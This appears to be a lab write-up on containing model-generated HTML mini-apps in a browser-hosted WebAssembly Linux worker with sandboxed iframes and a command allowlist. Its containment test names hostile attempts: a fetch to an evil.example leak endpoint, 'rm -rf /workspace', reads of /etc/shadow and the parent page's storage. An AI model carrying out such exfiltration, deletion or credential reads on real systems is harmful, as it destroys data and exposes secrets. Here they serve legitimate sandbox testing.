vm runtime mini-apps: browser-native voicebox on linux 7.x
Why this matters
Paul’s original Voicebox harness ran a local Node.js daemon so a browser room could execute shell tools and mount model-generated HTML mini-apps—which meant installing a local server and running commands with host user authority. Moving the backend into an offline Unkernel Linux 7.x Dedicated Worker removes the local daemon while confining generated UIs inside opaque <iframe sandbox="allow-scripts"> origins.
What this opens up
Zero-install, software-on-demand browser workspaces: speak or type a task, save mini-app HTML to /workspace/apps/ via the guest host command /run/kw/bin/launch-app, mount it at a "null" origin with connect-src 'none', run allowlisted POSIX tools (awk, grep, sha256sum, wc, sort, head) over a scoped MessagePort, and call newly registered WebMCP tools back from the Room.
How the tests work
- Wait for the offline
unkernelLinux 7.x Dedicated Worker (public/daemon-worker.js,memoryMiB: 112, zero network, 9p/workspace) to boot and mount 1. CSV Revenue Chart & AWK Summary via/run/kw/bin/launch-app. - Switch across the 3 instant blueprint apps (CSV Revenue Chart & AWK Summary, Markdown TODO Checklist Manager, and Log & SHA-256 Digest Inspector) or use the Voice & Prompt Room (Web Speech API + optional Chrome
LanguageModel, Port Authority AI Router, or local Ollama) and open the Live Mini-App HTML/JS Source Drawer to edit and re-mount code immediately. - Call the mounted mini-app’s dynamically registered WebMCP Tools (
get_revenue_summary,highlight_top_product,add_todo_item,filter_logs,hash_workspace_file) from the right-hand panel and inspect live changes in/workspace. - Click Run Hostile App Attack Probe to mount an untrusted app attempting
fetch("https://evil.example/leak"),window.parent.document/localStorage, andvmBridge.exec("rm", ["-rf", "/workspace"])plusreadFile("/etc/shadow")—confirming all 3 escape vectors fail closed in the UI and audit table.
Hypothesis
Pairing an offline browser-delivered Unkernel Linux 7.x Worker (
9p/workspace+/run/kw/bin/launch-app) with an opaque<iframe sandbox="allow-scripts">(connect-src 'none') and a scopedMessagePortallowlist enables Voicebox-style runtime mini-apps and WebMCP tool registration with zero local daemon installation and verifiable fail-closed containment.
What confirms it: Blueprint and edited mini-apps mount at window.origin === "null", execute real Linux awk/grep/sha256sum/wc on /workspace, register callable tools over document.modelContext.registerTool(), and the hostile probe deterministically blocks outbound fetch(), parent DOM/localStorage reads, rm -rf /workspace, and /etc/shadow traversal.
What bounds or disproves it: Requiring WebAssembly JSPI (WebAssembly.Suspending) or confining execution to allowlisted BusyBox binaries inside an in-memory 9p /workspace limits workflows that depend on arbitrary host filesystem access or native desktop CLI harnesses.
Under the hood
VM Runtime Mini-Apps (source on GitHub) adapts the architecture from My voice harness is my new operating system so the entire daemon and mini-app runtime executes client-side inside one tab:
- Offline Linux 7.x Dedicated Worker (
public/daemon-worker.js): Bootsunkernel@0.3.0-261202-b033dc7(memoryMiB: 112, no network stack) and mounts an in-memory 9pMemoryFsat/workspaceseeded withmetrics.csv,TODO.md,app.log, and/workspace/apps/. Registering the host command/run/kw/bin/launch-applets guest commands save HTML into/workspace/apps/<slug>.htmland signal the browser Room to mount that app. - Opaque Sandbox + Scoped
MessagePortBroker (src/worker.ts&public/lib/mini-app-host.js): Serves/sandbox/mini-appwithContent-Security-Policy: default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; connect-src 'none'inside<iframe sandbox="allow-scripts">(window.origin === "null"). The Room transfers one end of aMessageChannelexposingwindow.vmBridge(readFile,writeFile,listFiles,exec) anddocument.modelContext.registerTool(). Every request crossesnormalizeWorkspacePath()andvalidateVmExecRequest(), confining file access strictly to/workspace/and permitting onlyawk,grep,sha256sum,wc,sort, andheadvia directexecvewithout a shell. - Dynamic WebMCP Loop & Fail-Closed Probe: Mounted mini-apps register structured tools back into the Room UI so callers can invoke
get_revenue_summary,add_todo_item, orfilter_logsover the privateMessagePort. Mounting the hostile probe verifies in real time that outboundfetch(),window.parent.document/localStorage,rm -rf /workspace, and/etc/shadowtraversal all reject cleanly.
Key terms & further reading
- Unkernel (Linux 7.x in WebAssembly) ↗
- A compiled Linux 7.x kernel with real MMU, 9p host mounts, and host commands (
commands: { ... }) running inside a browser Dedicated Worker without server compute. - Opaque Sandboxed Iframe ↗
- An
<iframe sandbox="allow-scripts">withoutallow-same-originexecutes at a unique"null"origin, preventing access to parent DOM, cookies, or origin storage. - MessagePort Capability Bridge ↗
- A private
MessageChannelendpoint transferred into the sandboxed iframe so the host can enforce/workspacepath guards and command allowlists on every Linux call. - WebMCP (document.modelContext) ↗
- A browser tool registration interface where rendered apps publish tool names, JSON input schemas, and execution callbacks back to an enclosing agent loop.
- Web Speech API (SpeechRecognition) ↗
- Browser speech-to-text interface used by the Voice & Prompt Room to turn spoken commands into mini-app generation prompts when supported.
- WebAssembly JSPI (WebAssembly.Suspending) ↗
- JavaScript Promise Integration enabling compiled Linux kernel I/O inside WebAssembly to suspend across asynchronous browser operations.
Open questions
- How should persistent user-created mini-apps in
/workspace/apps/sync cleanly to OPFS across sessions while keeping hostile apps quarantined by digest? - When multiple runtime mini-apps are open simultaneously, what namespace and conflict policy should govern overlapping WebMCP tool names?
Iteration log
- — Built offline Unkernel Linux 7.x Dedicated Worker (
public/daemon-worker.js) with 9p/workspace,/run/kw/bin/launch-apphost command, opaque/sandbox/mini-appruntime withMessagePortallowlist + WebMCP registration, 3 instant blueprints, live HTML/JS editor, optional LLM generator providers, and 3-vector hostile app attack probe.
Primitives tested: Unkernel Linux 7.x (Wasm + JSPI), 9p MemoryFs & Host Commands, Opaque Sandboxed Iframe (origin: null), MessagePort Capability Allowlist, WebMCP (document.modelContext), Web Speech API.
This is an active lab under /labs/ and stays off the main RSS feed until graduated into a full essay.